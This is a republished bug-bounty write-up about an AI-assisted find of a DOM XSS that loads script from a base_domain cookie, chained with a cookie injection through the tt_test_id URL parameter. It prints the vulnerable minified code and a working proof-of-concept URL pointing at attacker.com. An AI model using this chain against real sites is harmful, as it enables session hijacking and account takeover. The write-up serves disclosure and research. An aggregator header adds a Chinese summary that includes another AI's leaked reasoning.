Site-DOM-XSS using Cookie Injection: The AI Hackers are Coming Faster than You Think
好的,我现在需要帮用户总结一篇文章的内容,控制在100字以内,而且不需要特定的开头。首先,我得仔细阅读文章,理解主要观点。 文章讲的是最近用AI发现漏洞的趋势,特别是AI在寻找客户端漏洞方面的有效性。作者使用AI找到了一个DOM XSS漏洞,涉及到base_domain cookie的验证问题。然后AI又发现了另一个cookie注入漏洞,通过URL参数控制。这两个漏洞被成功利用,实现了XSS攻击。 作者提到这些复杂漏洞通常很难手动发现,但AI却能轻松做到。这引发了对传统安全研究未来的担忧,认为AI可能会取代很多工作,只剩下极少数深入研究的人能继续发挥作用。 总结的时候要抓住关键点:AI发现漏洞、两个具体例子、传统方法的挑战以及对未来的担忧。控制在100字以内,确保信息完整且简洁。 </think> 文章描述了利用AI发现复杂客户端漏洞的过程。通过分析压缩的JS文件,AI识别出一个基于cookie的DOM XSS漏洞,并进一步发现了一个cookie注入漏洞。这两个漏洞被成功链式利用以实现跨站脚本攻击(XSS)。文章指出,传统安全研究方法难以发现此类复杂问题,而AI技术正迅速改变这一现状。 2026-4-5 11:7:59 Author: medium.com(查看原文) 阅读量:23 收藏

Renwa

Press enter or click to view image in full size

pew pew pew

There been a big trend in recent weeks of using AIs to find vulnerabilities and how now they can easily find bugs, I have been using these clankers for a quite good time and unfortunately I have to break it to you that yes they’re really good and still improving.

I’m not someone who looks for low hanging fruits, chasing CVEs, doing recon or using automated tools, I look for complex client-side bugs and chaining multiple bugs for a higher impact which will take days or weeks for one complete exploit. I will start this writing with a recent cool bug that I found using an AI from discovery to chain and exploitation.

I opened the AI interface and gave it some prompts to find client-side bugs inside these JS files which I grabbed from a bug bounty site, the files were minified and compressed and tens of thousands lines of code so it would be very hard to go through them manually. After thinking for about three minutes it came back with this:

DOM XSS via Unvalidated base_domain Cookie

Vulnerability Type: DOM-based Cross-Site Scripting (DOM XSS) / Client-Side Script Inclusion
Security Impact: Critical. Full account takeover, session hijacking, data exfiltration, and unauthorized actions on the platform.

Exact Vulnerable Code Snippet

In the Webpack module responsible for handling API authentication and subordinate tokens (Module 59), the code dynamically injects a <script> tag to fetch an OAuth token script.

return new Promise( (d, m) => {
// ...
const v = document.createElement("script");
// ...
document.head.appendChild(v),
v.src = function() {
const e = window.NUXT_APP_CONFIG
, t = e.subordinateEndpointPath ? e.subordinateEndpointPath : "/api/v3/oauth2/token/subordinate"
, n = e.subordinateEndpointOrigin ? e.subordinateEndpointOrigin : ""
, r = e.subordinateSubdomain ? e.subordinateSubdomain : "auth"

// VULNERABLE SINK: Reads 'base_domain' cookie without validation
, o = function(e) {
const t = document.cookie.match(new RegExp("(^| )" + e + "=([^;]+)"));
return t ? t[2] : null
}("base_domain");

// If the cookie exists, it blindly uses it to form the script's host!
if (o)
return "https://".concat(r, ".").concat(o).concat(t);

if (e.subordinateOAuth2TokenEndpoint)
return e.subordinateOAuth2TokenEndpoint;
return "".concat(n).concat(t)
}() + "/v".concat(3, "/").concat(e, "?") + function(e) {
// ... (appends query params)
}(e)
}

Source of Attacker-Controlled Input

The input is derived from the base_domain cookie. Because cookies lack strict origin isolation across subdomains and protocols, an attacker can trivially set this cookie for the root domain (e.g., .example.com) through either: Cookie Tossing or Subdomain XSS

The finding is valid but we need to have a cookie injection on the target or its subdomains but I noticed something the AI didn’t notice. The regex is malformed and doesn’t check the cookie value, it checks everything that has a white-space then base_domain= which could be bypassed easily, let's say we have this cookie: username=test base_domain=attacker.com the regex will match the white space and the characters and get it's value even though it's not a separate domain but just a value of the cookie named username.

So we don’t particularly need a full cookie injection we just need a place which our input gets reflected inside a cookie and allows whitespace, I tried a full day looking manually and dorking to see if we could get a cookie reflected and allow full exploit chain, unfortunately no luck and everything I tried the white space would be encoded to %20 which wouldn’t bypass the malformed regex.

Then I grabbed all the JS files inside the domain which write to cookie in any way and gave it to the AI with a prompt saying look for cookie reflections with attacker controlled source. After another 2 minutes it came back with this:

TikTok Analytics (ttq) Cookie Injection

Vulnerability Type: Cookie Injection / Cookie Poisoning

Source of Attacker-Controlled Input:
The URL query parameters tt_test_id and ttclid. The script reads these parameters using URLSearchParams (which decodes them) and returns the unencoded value.

Cookie Write Operation (Sink):
The value is passed down to the eX and e$ functions and directly concatenated into the document.cookie assignment string.

Exact Vulnerable Code Snippet:

function e_(t, e) {
try {
var r = new URL(t)
, n = r.searchParams.getAll(e); // Source: Extracts decoded parameter value
if (0 !== n.length)
return n[n.length - 1] || "";
return new URLSearchParams(r.hash).get(e) || ""
} catch (t) { return "" }
}
var e$ = function(t, e, r) {
var n;
return t !== a || eQ(e) || (e = (n = e) ? n.split(".")[0] + ".tt." + (tQ() ? 0 : eZ()) : ""),
document.cookie = t + "=" + e + eH(r), // Sink: Writes directly to document.cookie
e === eJ(t)
}

Working Proof-of-Concept Payload:
An attacker can entice a victim to click the following URL:

https://victim-website.com/?tt_test_id=abc

Tested this using this https://www.example.com/?tt_test_id=1+base_domain=attacker.com/%23 and resulted in this:

Press enter or click to view image in full size

Our cookie injected into the tt_test_id

Then looking at the DOM

Press enter or click to view image in full size

Our script is injected into the page and we have full site XSS now

Chained everything together, created a fully working POC and reported to the program on 30th March 2026, after couple hours I got a message from the triager:

Press enter or click to view image in full size

From the other submissions title the findings seems legit and it uses the same base_domain payload that we used, but the more intresting part is the date of the report. The other reported found this exact vulnerability 7 days prior of mine, which I probably guess they also used an AI to find the bug and reported immediately.

This bug was not something easy to spot on with a traditional bug hunting and very hard for someone that is not into deeper client-side stuff, so If an AI could find these complex without any assistance and just by looking at the code what’s even left for us?

Jeopardy CTFs are kinda dead now and I’m little worried that bug bounty huntings are also would have the same fate, I’m not judging based on this finding or assumptions I have been using these machines for a quite complex tasks for a quite good time and saw many things that seniors would struggle with but it easily pulls them off. I have found many bugs with them and continue doing so.

Should we be worried about future of bug bounty? Yes, soon all of your reports will be duplicate of someone faster than you, just like when a new CVE comes out and everyone rushed to find targets and report them.

Who would survive post-AI era: Only handful of security researchers that goes through deep complex systems or built a good reputation by their previous/current works.

If AI is a bubble and will burst anytime soon then we will go to a recession and maybe 10 years of bear market, but the scary question is what if is not a bubble and it crushed all the benchmarks? then we’re all f*cked up.

Happy Sunday, wish you find a good farm and start harvesting soon.


文章来源: https://medium.com/@renwa/site-dom-xss-using-cookie-injection-the-ai-hackers-are-coming-faster-than-you-think-3ef82f2a991d?source=rss-3f8ae70e3957------2
如有侵权请联系:admin#unsafe.sh